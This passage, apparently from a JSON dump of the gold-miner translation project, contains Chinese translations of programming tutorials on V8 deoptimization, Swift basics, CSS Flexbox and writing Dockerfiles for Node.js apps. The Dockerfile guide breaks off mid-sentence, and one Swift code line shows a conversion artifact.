7, b3 = 8   call g2 (inlined in f, constructor frame and\n                                    argument adapted)\ng2        a2 = 5, b2 = 6   call g3 (inlined in f)\ng3        a1 = 3, b1 = 4   call h (not inlined)\nh         a0 = 1, b0 = 2   breakpoint\n```\n\n调试器使用逆优化基础方法来计算并在数据结构中储存这些局部值以供以后使用。我们在没有实际操作的情况下 “逆优化” 函数 `f`，但仅仅是为了从这个步骤中获取一个缓冲区中创建的输出帧。函数 `f` 分解为 7 个输出帧。这是在堆栈上调用 `f(4,11,12)` 的输入帧“，右侧是代表未优化的函数 `f` 的最底层的输出帧:\n\n![](drawings/debug-example-f.png)\n\n根据已知的帧结构，可以查询函数 `f` 完整代码帧的局部变量和参数。\n\n注意字面上的 `g1`，它在堆栈中，但不是局部变量的一部分，而是在调用 `g1` 之前简单保存的表达式。下面是其他有趣的 OutputFrame 数据结构，分别为函数g1、g2和g3\\。在函数 g1 的帧中，我期望看到在堆栈上调用 g2 的字面表达式，最初担心有 bug。但是 g2 作为 `new g2(…)` 调用, 在调用之前，构造函数调用不会将表达式推入堆栈上。\n\n![](drawings/debug-example-rest.png)\n\n`g2` 有3个参数，但它只接受一个，因此插入了一个参数适配器帧(此处没有显示)。`g3` 按照预期的三个参数调用，因此不会插入适配器帧。总共有7个输出帧：\n\n1. f\n2. arguments adaptor\n3. g1\n4. constructor frame\n5. arguments adaptor\n6. g2\n7. g3\n\nNow we start copying this information into a data structure for debugging. First we examine the frame for `g3`.\n\n现在我们开始将这些信息复制到数据结构中进行调试。首先，我们来检查 `g3` 的对应帧。\n\n虽然我在逆优化器中的更改产生了正确的 OutputFrame，但破坏了代码解释。我必须修改 `FrameDescription` 类，根据它描述的是 `已优化` 帧还是 `JAVA_SCRIPT`帧来正确地返回局部偏移量。这将正确地反映我引入的类型反馈向量的变化。通过这些变化，测试通过，并找到所有带有正确值的局部变量。\n\n## 结语\n\n下图展示了系统成型后的结构图：\n\n![](drawings/frame-vector.png)\n\n性能如何？大多数 benchmark 表现都很好，但是一些 SunSpider 测试很短，我们无法运行优化代码，这是一个净损失，因为我们的未优化帧是 1 word 的大小。我必须为此付出代价。在做优化工作之前，我需要验证处理成类型向量的整个过程代价是值得的。总的来说,我很乐观。\n\n所有平台上的工作的变更列表在[这里](https://codereview.chromium.org/942513002/)。感谢您通过深入 V8 内部，阅读完本复杂曲折的课程。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/an-absolute-beginners-guide-to-swift.md",
    "content": "> * 原文链接: [Absolute Beginner's Guide to Swift](http://blog.teamtreehouse.com/an-absolute-beginners-guide-to-swift)\n* 原文作者 : [Amit Bijlani](http://blog.teamtreehouse.com/author/amitbijlani)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [cdpath](https://github.com/cdpath)\n* 校对者 : [Zhangjd (达仔(*/ω＼*))](https://github.com/Zhangjd)、[CaesarPan (Caesar)](https://github.com/CaesarPan)\n* 状态 : 完成\n* 说明 : 注释皆为译者注\n\n# Swift 新手指南\n\n**更新:** 我们高兴地宣布 Treehouse 已经发布了[学习 Swift 教程](http://teamtreehouse.com/learn-swift \"Learn Swift on Treehouse\")！快来学习 Swift 基础知识， Swift 函数并用 Swift 构建两个真正的 App吧。 [了解详情](http://teamtreehouse.com/learn-swift \"Learn Swift on Treehouse\")。\n\n## 为什么选择 Swift？\n\n如果你没听过 Swift，这里简单介绍一下。Apple 刚刚为 iOS 和 OSX 开发者带来了全新的 Swift 语言。我们知道 Apple 自 2010 年开始开发 Swift ，距第一个 SDK [^1: iPhone OS 1.x: SDK]发布已有两年。Apple 认识到了 Objective-C 的局限性，毕竟它已有 30 年的历史，是时候作出改变了。但是以 Apple 的风格，发布一个半成品语言不可想象的。Apple 认为尽管 Objective-C 有不少缺点，依然可以将其利用到极致，Apple 做到了。\n\n在第一个 SDK 发布后的六年里，有 120 万个 App 提交到了 App Store。数百万的程序员领略了 Objective-C 语法的晦涩难懂并认识到了其局限性。最近有几个直言不讳的家伙决定站出来[大胆](http://ashfurrow.com/blog/we-need-to-replace-objective-c)[表达](http://informalprotocol.com/2014/02/replacing-cocoa/)他们对这一过时语言的困扰。\n\nSwift 是众多热爱打磨新语言的聪明人历时四年多的杰作。他们到处寻求灵感，不仅仅发明了这门新语言还创造了相关工具让其易于学习。\n\n谈到 Swift 之时，Apple 提到了三点重要考量：安全，现代，强大。Swift 名符其实。下文概括了一些上手 Swift 所必备的基础知识。如果已了解一门编程语言，你会在 Swift 上看到许多其他现代编程语言的影子。你或许会问为什么一定要重新发明一门语言，这已经超出本文的范畴，我们会在其他博文中讨论。\n\n## 用 Swift\n\n首先，下载并安装 [Xcode](https://developer.apple.com/devcenter/ios/index.action)。搞定之后，打开 Xcode，在菜单栏依次点击：File -> New -> 在左侧选择来源（iOS 或 OSX 都可以） -> Playground。给 Playground 起个名字就可以开始啦。\n\n要不然就打开终端使用 REPL（读取﹣求值﹣输出循环）。\n\n**使用终端指导**\n\n1\\. 打开终端\n\n2\\. 如果装有多个版本的 Xcode，请将 Xcode 6[^2: 最新版为 Xcode 7] 设置为默认版本。如果只有 Xcode 6 直接跳到第三步，不然就输入下面这行：\n\n`sudo xcode-select -s /Applications/Xcode6-Beta.app/Contents/Developer/`\n\n在撰写本文时 Xcode 6 的 beta 版叫做“Xcode6-Beta”。在用 `xcode-select` 的时候务必去“应用程序”文件夹下检查一下 Xcode 的名字。\n\n3\\. 要开启 REPL，输入：\n\n`xcrun swift`\n\n## 基础\n\n### 变量\n\n和其他编程语言一样，Swift 使用变量存储数据。要声明一个变量，必须显式使用 `var` 关键字。\n\n    var greeting: String = \"Hello World\"\n\n上述代码告诉系统你想要创建一个名为 `greeting` 的变量，`String` 类型，内容是 “Hello World” 文本。\n\n如果将字符串赋值给变量，Swift 会聪明地推断出变量应该是字符串类型的。所以上例不用显式地指定变量类型。所以上例最好写成：\n\n    var greeting = \"Hello World\" // 推断为字符串类型\n\n变量一经创建就可以修改，所以可以给 `greeting` 变量再加上一行，做出修改：\n\n    var greeting = \"Hello World\" // 推断为字符串类型\n    \n    greeting = \"Hello Swift\"\n\n写应用程序时经常会遇到一旦将变量初始化就不再修改它的场景。Apple 设计了两种类型：可变的和不可变的。「可变」意味着变量可被修改，「不可变」则不可修改。默认情况下都是「不可变」的，这意味着值不会改变，由此 App 可以在多线程环境下更快更安全地运行。要创建不可变的常量请使用关键字 `let`。\n\n如果将上面 greeting 例子中的 `var` 修改为 `let`，第二行会报编译器错误，因为不能修改 `greeting`。\n\n    let greeting = \"Hello World\"\n    greeting = \"Hello Swift\" //编辑器错误\n\n再举一个例子说明为什么使用以及何时应该使用 `let`。\n\n    let languageName: String = \"Swift\"\n\n    var version: Double = 1.0\n\n    let introduced: Int = 2014\n\n    let isAwesome: Bool = true\n\n上述代码不仅展示了 Swift 支持的多种类型，还道出了使用 `let` 的原因。除了 Swift 的版本号[^3: 即 `version` 变量]，其他都是常量。你或许会争辩说 `isAwesome` 是否是常数存在争议，但是读完本文你就会同意我的结论。\n\n因为类型可以推断出来，可以简写如下：\n\n    let languageName = \"Swift\" // 推断为字符串类型\n\n    var version = 1.0 // 推断为 Double 型\n\n    let introduced = 2014 // 推断为 Int 型\n\n    let isAwesome = true // 推断为 Bool 型\n\n### 字符串\n\n上面的例子用到了字符串类型。接下来我们看看如何用 `+` 操作符来拼接两个字符串。\n\n    let title = \"An Absolute Beginners Guide to Swift\"\n    let review = \"Is Awesome!\"\n    let description = title + \" - \" + review\n    // description = \"An Absolute Beginners Guide to Swift - Is Awesome!\"\n\n字符串具有强大的字符串插值特性，可以用变量来创建字符串。\n\n    let datePublished = \"June 9th, 2014\"\n\n    let postMeta = \"Blog Post published on: \\(datePublished)\"\n\n    // postMeta = \"Blog Post published on: June 9th, 2014\"\n\n上述所有例子使用的都是 `let`，也就是说这些字符串创建之后不可修改。当然如果需要修改字符串，那么用 `var` 关键字就好了。\n\n### 其他类型\n\n除字符串类型以外，还有 `Int` 表示整数，`Double` 和 `Float` 表示浮点数以及`Bool` 表示布尔值（比如真或假）。这些类型都可以跟字符串类型一样通过类型推导自动得到，所以创建变量时没有必要显式写出类型。\n\n`Float` 和 `Double` 的区别在于精度不同，能存储的最大数字也不同。\n\n*   Float：代表 32位 浮点型数字，精度只有 6 位十进制数字。\n*   Double：代表 64位 浮点型数字，精度可达 15 位十进制数字。\n\n默认情况下浮点数会被推断为 `Double` 类型。\n\n    var version = 1.0 // 推断为 Double 型\n\n当然也可以显式声明为 `Float` 型。\n\n    var version: Float = 1.0\n\n## 集合类型\n\n### 数组\n\n集合类型有两种。第一种是数组类型，也就是可以通过从 0 开始的索引访问的数据元素的集合。\n\n    var cardNames: [String] = [\"Jack\", \"Queen\", \"King\"]\n\n    // Swift 可以推断出 cardNames 是 [String] 类型，所以可以写成：\n\n    var cardNames = [\"Jack\", \"Queen\", \"King\"] // inferred as [String]\n\n数组有两种：包含单一数据类型的数组和包含多种数据类型的数组。Swift 追求安全性，所以更偏好前者，但是也可以用通用类型类来兼容后者。上面例子是字符串数组，也就是单一数据类型的数组。\n\n要访问数组中的元素需要使用下标：\n\n    println(cardNames[0])\n\n注意：我们使用 `println` 函数[^4: Swift 2 中请使用 `print`]将 “Jack” 这个值打印到控制台，后面还加上了换行。\n\n### 修改数组\n\n新建一个数组来存储代办事项列表吧：\n\n    var todo = [\"Write Blog\",\"Return Call\"]\n\n要确保使用了 `var` 关键字，这样才可以修改数组。\n\n要在 `todo` 数组中加入新元素要用到 `+=` 操作符：\n\n    todo += \"Get Grocery\"\n\n要在 `todo` 数组中加入多个元素很简单，追加到数组上就好：\n\n    todo += [\"Send email\", \"Pickup Laundry\"]\n\n要替换数组中已有的元素，下标索引出要修改的元素再赋一个新值就好了：\n\n    todo[0] = \"Proofread Blog Post\"\n\n要替换数组的一定范围内的元素的话就要提供该范围内的元素的新值：\n\n    todo[2..<5] ==\"\" [\"pickup=\"\" laundry\",\"get=\"\" grocery\",=\"\" \"cook=\"\" dinner\"]=\"\" <=\"\" code=\"\">\n\n### 字典\n\n第二种集合类型是 `字典`，类似于其他编程语言中的哈希表。字典可以存储_键值对_，可以根据键访问对应的值。\n\n比如，可以通过指定键和对应的值来指定一组扑克牌：\n\n    var cards = [\"Jack\" : 11, \"Queen\" : 12, \"King\" : 13]\n\n上面代码中的扑克牌名是键，对应数字是值。键不一定非得是 `字符串` 类型，完全可以是任意类型，值也是如此。\n\n### 修改字典\n\n如果要给 `cards` 字典添加一张 “A” 要怎么办呢？其实只要把键当作下标，赋给它一个新值就好了。注意：`cards` 被声明为 `var` 变量，也就是说值可以改变。\n\n    cards[\"ace\"] = 15\n\n上面这行我们搞错了 “A” 对应的数字，需要将其改正。只要再将键作为下标，给它一个新值就好了。\n\n    cards[\"ace\"] = 1\n\n检索字典中的值：\n\n    println(cards[\"ace\"])\n\n## 控制流\n\n### 循环\n\n如果都不能用来循环，那么集合类型还有什么好处呢？Swift 提供了 `while`，`do-while`，`for` 以及 `for-in` 循环。我们来依次看一看。\n\n所有循环中 `while` 是最简单的，其表示只要条件为 `真` 就不断执行代码段。当条件变为 `假` 时，停止执行。\n\n    while !complete {\n        println(\"Downloading...\")\n    }\n\n注意：`complete` 变量前面的感叹号表示「非」，读作「不满足」。\n\n同样地，使用 `do-while` 循环可以保证代码块至少执行一次。\n\n    var message = \"Starting to download\"\n    do {\n        println(message)\n        message = \"Downloading..\"\n    } while !complete \n\n上面代码中稍后调用的 `println` 表达式会打印「下载中......」。[^5: 第一次调用的 `pringln` 会打印「开始下载」]\n\n使用一般形式的 for 循环可以指定一个数字然后不断增加那个数字，直到一个特定的值。\n\n    for var i = 1; i < cardNames.count; ++i {\n        println(cardNames[i])\n    }\n\n还可以使用简单的 `for-in` 形式，它会创建一个临时变量，在遍历数组时对其赋值。\n\n    for cardName in cardNames {\n        println(cardName)\n    }\n\n上述代码会打印数组中的全部扑克牌名。还可以使用「区间」来实现。值的「区间」用两个或三个点表示。\n\n比如：\n\n*   1...10 表示 1 到 10 的数字「区间」。这三个点表示闭区间，因为包括最大值。\n*   1..<10 表示 1 到 9 的数字「区间」。两个点和小于号表示半开半闭区间，因为不包括最大值。\n\n比如用 `for-in` 结合区间来打印 2 的乘法表：\n\n    for number in 1...10 {\n        println(\"\\(number) times 2 is \\(number*2)\")\n    }\n\n还可以遍历 `cards` 字典同时打印键和值：\n\n    for (cardName, cardValue) in cards {\n        println(\"\\(cardName) = \\(cardValue)\")\n    }\n\n### If 表达式\n\n要控制代码流程当然要用 `if` 表达式。\n\n    if cardValue == 11 {\n        println(\"Jack\")\n    } else if cardValue == 12 {\n        println(\"Queen\")\n    } else {\n        println(\"Not found\")\n    }\n\n注意：`if` 的语法允许有括号，不强制要求。但是大括号 `{}` 必须有，这点和其他编程语言不同。\n\n### Switch 表达式\n\nSwift 中的 `switch` 表达式功能丰富特性众多。下面是 `switch` 表达式的一些基本规则：\n\n\n*   每个 `case` 表达式后面不要求有 `break` 表达式。\n*   `switch` 没有被限制为整数类型，其可以用来匹配多种类型的值：`String`，`Int` 或者 `Double`，而且还可以使用任何对象。\n*   `switch` 表达式必须对应每一个可能值，否则得使用 `default case` 让代码更安全。如果没有为每一个可能值都提供 `case` 也没有使用 `default` 那么会报编译错误：“switch 必须是完备的”。\n\n    switch cardValue {\n        case 11:\n            println(\"Jack\")\n        case 12: \n            println(\"Queen\")\n        default:\n            println(\"Not found\")\n    }\n\n假如有一个距离变量，需要根据距离值打印消息。可以利用多个 `case` 表达式来使用多个值。\n\n    switch distance {\n        case 0:\n            println(\"not a valid distance\")\n        case 1,2,3,4,5:\n            println(\"near\")\n        case 6,7,8,9,10:\n            println(\"far\")\n        default:\n            println(\"too far\")\n    }\n\n还有时候使用多个值还是有局限性。这时就要使用区间了。想一想，如果要把距离大于 10 且小于 100 定义为「远」，应该如何表达呢？\n\n    switch distance {\n        case 0:\n            println(\"not a valid distance\")\n\n        case 1..10:\n            println(\"near\")\n\n        case 10..100 :\n            println(\"far\")\n\n        default:\n            println(\"too far\")\n\n    }\n\n猜猜上述代码会打印什么出来？\n\n## 函数\n\n最后要提的是函数，我们之前在很多例子中使用过的 `println` 就是函数。要如何自己定义一个函数呢？\n\n要定义一个函数非常简单，使用 `func` 关键字再起个函数名就好了。\n\n    func printCard() {\n        println(\"Queen\")\n    }\n\n如果一个函数只能打印扑克牌名（比如 “Queen”）似乎没什么用处。如果能够给它传入一个参数然后打印任意的扑克牌名呢？[^6: 也没什么用......]\n\n    func printCard(cardName: String) {\n        println(cardName)\n    }\n\n当然，并没有限制说只能使用一个参数。传入多个参数是可以的。\n\n    func printCard(cardName: String, cardValue: Int) {\n        println(\"\\(cardName) = \\(cardValue)\")\n    }\n\n如果只想让函数构建一个字符串并返回字符串的值而不是打印出来要怎么做呢？只要在函数声明的结尾（`->` 之后）指定返回值（类型）就好了。\n\n    func buildCard(cardName: String, cardValue: Int) -> String {\n        return \"\\(cardName) = \\(cardValue)\"\n    }\n\n上述代码的意思是创建名为 `buildCard` 的函数，接受两个参数，返回一个字符串。\n\n## 总结\n\n如果能坚持读到这里，恭喜你已经掌握了 Swift 基础！虽然这些还只是 Swift 的皮毛，你或许需要花一些时间吸收这些知识。需要学习的东西还有很多，在 Treehouse 我们致力于向你提供学习 Swift 所需的全部知识。\n\n如果想要学习 Swift 基础，在 Treehouse 报名参加 Amit 的[学习 Swift](http://teamtreehouse.com/learn-swift \"Learn Swift on Treehouse\") 课程吧。\n\n\n\n"
  },
  {
    "path": "TODO/an-animated-guide-to-flexbox.md",
    "content": "> * 原文地址：[How Flexbox works — explained with big, colorful, animated gifs](https://medium.freecodecamp.com/an-animated-guide-to-flexbox-d280cf6afc35#.u44ga6k7p)\n* 原文作者：[Scott Domes](https://medium.freecodecamp.com/@scottdomes)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[linpu.li](https://github.com/llp0574)\n* 校对者：[sqrthree](https://github.com/sqrthree)，[xuzaixian](https://github.com/xuzaixian)\n\n# 几张 GIF 动图让你看懂弹性盒模型（Flexbox）如何工作\n\n![](https://cdn-images-1.medium.com/max/2000/1*zyzR64aw4rDPsoG-ZwZ9rQ.png)\n\n弹性盒模型许诺可以解决纯 CSS 造成的诸多弊端（比如垂直对齐）。\n\n好吧，它的确兑现了诺言。但是掌握这种新的思路可不是一件简单的事情。\n\n所以我们将以动图的形式来看看弹性盒模型是怎么工作的，好在以后的工作中使用它来构建更好的布局。\n\n弹性盒模型的基本原理是让布局变得直观且富有弹性。\n\n要实现这个目标，它会让容器自己决定如何均匀分布它的子元素，包括子元素的大小和相互之间的间隔。\n\n这些从原理上讲都很好理解。但让我们来看看在实践当中它又会是什么样子。\n\n在本文当中，我们将深入弹性盒模型最常用的 5 个属性。探究一下它们做了什么、如何使用它们、以及会产生什么效果。\n\n### 第一个属性：Display: Flex\n\n下面是我们的示例页面：\n\n![](https://cdn-images-1.medium.com/max/2000/1*ifusEqwI87nBKXgK9oZ_7A.gif)\n\n有四个不同大小和颜色的 div，包含在一个灰色的 div 容器里。现在，每个 div 都有一个默认的属性为 `display: block`，因此每个 div 块都占满了整行的宽度。\n\n为了使用弹性盒模型，需要将**容器**变成一个**弹性容器**，更改代码如下，很简单：\n\n    #container {\n      display: flex;\n    }\n\n![](https://cdn-images-1.medium.com/max/2000/1*L2W-ziqU45a1BNWV79ijDQ.gif)\n\n可以看到并没有改变很多代码，容器里的 div 就展示为行内形式了。但在这个操作背后，其实已经发生了很大的变化，因为**你给每个块赋予了一个叫做弹性上下文的东西**。\n\n现在你就可以开始在这个上下文里改变它们的位置，相比传统的 CSS 简单多了。\n\n### 第二个属性：Flex Direction\n\n弹性盒模型的容器有两个轴：**主轴**和**交叉轴**，它们默认如下所示：\n\n![](https://cdn-images-1.medium.com/max/1600/1*_Ruy6jFG7gUpSf76IUcJTQ.png)\n\n**默认状态下，容器里的每一个元素都会从左至右沿着主轴排列**。这也是为什么一旦 `display: flex` 生效，所有块都会默认排列在一个水平线上。\n\n但是 `Flex-direction` 可以让你旋转主轴。\n\n    #container {\n      display: flex;\n      flex-direction: column;\n    }\n\n![](https://cdn-images-1.medium.com/max/2000/1*4yKnG2-vuPF5XA-BmXADLQ.gif)\n\n这里有一个很重要的区别：`flex-direction: column` 并不是把块从主轴移到交叉轴上排列，**而是让主轴自身从水平变成垂直。**\n\n另外 flex-direction 还有两个选项值：**row-reverse** 和 **column-reverse**。\n\n![](https://cdn-images-1.medium.com/max/2000/1*PBr_ncouIehALaEOWmSbpQ.gif)\n\n### 第三个属性：Justify Content\n\n**justify-content** 控制元素在**主轴**上的对齐方式。\n\n下面，将稍微深入一下主轴和交叉轴的区别。首先，回到 `flex-direction: row` 的状态。\n\n    #container {\n      display: flex;\n      flex-direction: row;\n      justify-content: flex-start;\n    }\n\n**justify-content** 有五个可选值：\n\n1. Flex-start\n2. Flex-end\n3. Center\n4. Space-between\n5. Space-around\n\n![](https://cdn-images-1.medium.com/max/2000/1*2-6Tw8jqWrMKOfIugKyuDA.gif)\n\n`space-around` 和 `space-between` 是最直观的。**`space-between` 使每个块之间产生相同大小的间隔，但不会在容器和块之间产生。**\n\n`space-around` 则会在每个块的两边产生一个相同大小的间隔，也就是说**最外层块和容器之间的间隔大小刚好是两块之间间隔大小的一半**（每个块产生的间隔不重叠，所以间隔变成两倍）。\n\n最后一个注意点：记住 **`justify-content` 是沿着主轴工作的**，**而 `flex-direction` 则是用来改变主轴的**。当看到下一个属性的时候就会发现这点很重要。\n\n### 第四个属性: Align Items\n\n如果你掌握了 `justify-content`，`align-items` 也会很容易掌握。\n\n前面讲到 `justify-content` 是沿着主轴工作的，而 **`align-items` 则作用于交叉轴。**\n\n![](https://cdn-images-1.medium.com/max/1600/1*_Ruy6jFG7gUpSf76IUcJTQ.png)\n\n首先重置 `flex-direction` 为 row，这样我们的轴就和上图一样了。\n\n然后，来深入一下 `align-items` 这个属性，可选值如下：\n\n1. flex-start\n2. flex-end\n3. center\n4. stretch\n5. baseline\n\n前三个值和 `justify-content` 的完全一样，所以这里略过。\n\n但下面两个值有一点不一样。\n\n`stretch` 状态下，每一项都会占满整个交叉轴，而 `baseline` 状态下，将按照段落标签的底部对齐（译者注：图中每个块里的数字均由`p`标签包含，此处就是按照`p`标签的底部对齐）。\n\n![](https://cdn-images-1.medium.com/max/2000/1*htfdNmRIIFu_veRaFOj5qA.gif)\n\n（注意 `align-items: stretch`，必须将每一块的高度设置为 `auto`，否则高度属性（height）就会将 `stretch` 的作用给覆盖掉。）\n\n对于 baseline 来说，要意识到如果去掉段落标签，就将按照每个块的底部对齐（译者注：只要是元素标签内没有文字或者子标签内没有文字，均会按照每个块的底部对齐），像下面这样：\n\n![](https://cdn-images-1.medium.com/max/2000/1*6dd9KnKMUN49lFsbHlJi6A.png)\n\n为了更清楚地阐明主轴和交叉轴的区别，下面我们来把 `justify-content` 和 `align-items` 合在一起，看看在 `flex-direction` 两种值的作用下轴心有什么不一样：\n\n![](https://cdn-images-1.medium.com/max/2000/1*6mq-Uay7t6NhdF2E41Do0g.gif)\n\n**取值为 row 时，每个块会按照一个水平的主轴进行排列，为 column 时，它们就会按照一个垂直的主轴向下排列。**\n\n虽然这些块在两种情况下都可以水平或者垂直居中，但这两者是不可以相互转化的！\n\n### 第五个属性: Align Self\n\n`align-self` 允许你手动设置一个特定元素的对齐方式。\n\n它会针对一个块覆盖掉 `align-items` 属性。容器内元素的所有属性都默认为 `auto`，所以每个块默认会使用容器的 `align-items` 属性。\n\n    #container {\n      align-items: flex-start;\n    }\n\n    .square#one {\n      align-self: center;\n    }\n    // 只有这个块会居中\n\n下面将给两个块设置 `align-self` 属性，其余的使用 `align-items: center` 和 `flex-direction: row`，来看看会是什么效果：\n\n![](https://cdn-images-1.medium.com/max/2000/1*HIADl1oL6pxXb2dMh_pXSQ.gif)\n\n### 结论\n\n尽管我们只介绍了弹性盒模型的一点皮毛，但对于操作基本的对齐，或者垂直排列你的核心内容来说，这些属性应该足够使用了。\n\n如果你想看到更多的 GIF 弹性盒模型教程，或者如果这个教程对你有帮助，请点击下面的绿色心形或者留下一个评论吧。\n\n感谢阅读！\n"
  },
  {
    "path": "TODO/an-exhaustive-guide-to-writing-dockerfiles-for-node-js-web-apps.md",
    "content": "> * 原文地址：[An Exhaustive Guide to Writing Dockerfiles for Node.js Web Apps](https://blog.hasura.io/an-exhaustive-guide-to-writing-dockerfiles-for-node-js-web-apps-bbee6bd2f3c4)\n> * 原文作者：[Praveen Durairaj](https://blog.hasura.io/@praveenweb.d?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/an-exhaustive-guide-to-writing-dockerfiles-for-node-js-web-apps.md](https://github.com/xitu/gold-miner/blob/master/TODO/an-exhaustive-guide-to-writing-dockerfiles-for-node-js-web-apps.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[Raoul1996](https://github.com/Raoul1996), [song-han](https://github.com/song-han)\n\n# 一份为 Node.js 应用准备的 Dockerfile 指南\n\n![](https://cdn-images-1.medium.com/max/800/1*4KhmpXFJ_Etczs6awRnAbg.png)\n\n### TL;DR\n\n本文涵盖了从创建简单的 Dockerfile 到生产环境多级构建 Node.js Web 应用的例子。以下为本指南的内容摘要：\n\n* 使用合适的基础镜像（开发环境使用 carbon，生产环境使用 alpine）。\n* 在开发时使用 `nodemon` 进行热加载。\n* 优化 Docker 的 cache layer（缓存层）—— 按照正确的顺序使用命令，仅在需要时运行 `npm install`。\n* 使用 `serve` 包\u0010部署静态文件（比如 React、Vue、Angular 生成的 bundle）。\n* 使用 `alpine` 进行生产环境下的多级构建，减少最终镜像文件的大小。\n* #建议 — 1) 使用 COPY 代替 ADD 2) 使用 `init` 标识，处理 CTRL-C 等内核信号。\n\n如果你需要以上步骤的代码，请参考 [GitHub repo](https://github.com/praveenweb/node-docker)。\n\n### **内容**\n\n1. 简单的 Dockerfile 样例与 .dockerignore 文件\n2. 使用 nodemon 实现热更新\n3. 优化\n4. 部署静态文件\n5. 生产环境中的直接构建\n6. 生产环境中的多级构建\n\n让我们先假设一个名为 node-app 的应用，一个简单的目录结构。在顶级目录下，包含 `Dockerfile` 以及 `package.json`，node app 的代码将存于 `src` 目录下。为了简洁起见，我们假设 server.js 定义了一个运行于 8080 端口的 node express 服务。\n\n```\nnode-app\n├── Dockerfile\n├── package.json\n└── src\n    └── server.js\n```\n\n### **1. 简单的 Dockerfile 样例**\n\n```\nFROM node:carbon\n\n# 创建 app 目录\nWORKDIR /app\n\n# 安装 app 依赖\n# 使用通配符确保 package.json 与 package-lock.json 复制到需要的地方。（npm 版本 5 以上） COPY package*.json ./\n\nRUN npm install\n# 如果你需要构建生产环境下的代码，请使用：\n# RUN npm install --only=production\n\n# 打包 app 源码\nCOPY src /app\n\nEXPOSE 8080\nCMD [ \"node\", \"server.js\" ]\n```\n\n我们将使用最新的 LTS 版本 `node:carbon` 作为基础镜像。\n\n在构建镜像时，docker 会获取所有位于 `context` 目录下的文件。为了增加 docker 构建的速度，可以在 context 目录中添加 `.dockerignore` 文件来排除不需要的文件与目录。\n\n通常，你的 `.dockerignore` 文件件应该如下所示：\n\n```\n.git\nnode_modules\nnpm-debug\n```\n\n构建并运行此镜像：\n\n```\n$ cd node-docker\n$ docker build -t node-docker-dev .\n$ docker run --rm -it -p 8080:8080 node-docker-dev\n```\n\n你将能在 `[http://localhost:8080](http://localhost:8080.)` 访问此 app。使用 `Ctrl+C` 组合键可以退出程序。\n\n现在，假设你希望在每次修改代码（比如在本地部署时）时都运行以上代码，那么你需要在启停 node 服务时将代码源文件挂载到容器中。\n\n```\n$ docker run --rm -it -p 8080:8080 -v $(pwd):/app \\\n             node-docker-dev bash\nroot@id:/app# node src/server.js\n```\n\n### 2. 使用 Nodemon 实现热更新\n\n[nodemon](https://www.npmjs.com/package/nodemon) 是一款很受欢迎的包，它在运行时会监视目录中的文件，当任何文件发生了改变时，nodemon 将会自动重启你的 node 应用。\n\n```\nFROM node:carbon\n\n# 创建 app 目录\nWORKDIR /app\n\n# 安装 nodemon 以实现热更新\nRUN npm install -g nodemon\n\n# 安装 app 依赖\n# 使用通配符确保 package.json 与 package-lock.json 复制到需要的地方。（npm 版本 5 以上）COPY package*.json ./\n\nRUN npm install\n\n# 打包 app 源码\nCOPY src /app\n\nEXPOSE 8080\nCMD [ \"nodemon\", \"server.js\" ]\n```\n\n我们将构建镜像并运行 nodemon，以便在 `app` 目录下文件发生变动时对代码进行 rebuild。\n\n```\n$ cd node-docker\n$ docker build -t node-hot-reload-docker .\n$ docker run --rm -it -p 8080:8080 -v $(pwd):/app \\\n             node-hot-reload-docker bash\nroot@id:/app# nodemon src/server.js\n```\n\n\n一切在 `app` 目录下的更改都会触发 rebuild，发生的变化都能在 `[http://localhost:8080](http://localhost:8080.)` 上实时展示。请注意，我们已经将文件挂载到了容器中，因此 nodemon 才能正常工作。\n\n### 3. 优化\n\n在你的 Dockerfile 中，除非你需要自动解压 tar 文件（参考 [Docker 最佳实践](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#add-or-copy)），否则最好使用 COPY 来代替 ADD。\n\n绕过 `package.json` 的 `start` 命令，而是直接将 app “烧录”至镜像文件中。因此在 Dockerfile CMD 中不要使用：\n\n```\n$ CMD [\"npm\",\"start\"]\n```\n\n而应当使用：\n\n```\n$ CMD [\"node\",\"server.js\"]\n```\n\n来代替。这样可以减少在容器中运行的进程数量，同时还能让 Node.js 进程接收到 `SIGTERM` 与 `SIGINT` 等退出信号，如若是 npm 进程则会无视这些信号（参考 [Node.js Docker 最佳实践](https://github.com/nodejs/docker-node/blob/master/docs/BestPractices.md#cmd)）。\n\n你还可以使用 `--init` 标志，用 [tini](https://github.com/krallin/tini) 轻量集初始化系统来包装你的 Node.js 进程，它们也能响应一些 `SIGTERM`（`CTRL-C`）之类的内核信号。例如，你可以使用：\n\n```\n$ docker run --rm -it --init -p 8080:8080 -v $(pwd):/app \\\n             node-docker-dev bash\n```\n\n### 4. 部署静态文件\n\n前文的 Dockerfile 是假设你运行了由 Node.js 构建的 API 服务。那么下面说说如果你想要用 Node.js 部署 React.js、Vue.js、Angular.js 应用时该怎么做。\n\n```\nFROM node:carbon\n\n# 创建 app 目录\nWORKDIR /app\n\n# 安装 app 依赖\nRUN npm -g install serve\n# 使用通配符复制 package.json 与 package-lock.json\nCOPY package*.json ./\n\nRUN npm install\n\n# 打包 app 源码\nCOPY src /app\n# 将 react、vue、angular 打包构建成静态文件\nRUN npm run build\n\nEXPOSE 8080\n# 将 dist 目录部署于 8080 端口\nCMD [\"serve\", \"-s\", \"dist\", \"-p\", \"8080\"]\n```\n\n如你所见，当你需要构建 React、Vue、Angular 制作的 UI app 时，使用 `npm run build` 来压缩 JS 与 CSS 文件，生成最终的 `bundle` 包，在这儿我们使用了 npm 的 `[serve](https://www.npmjs.com/package/serve)` 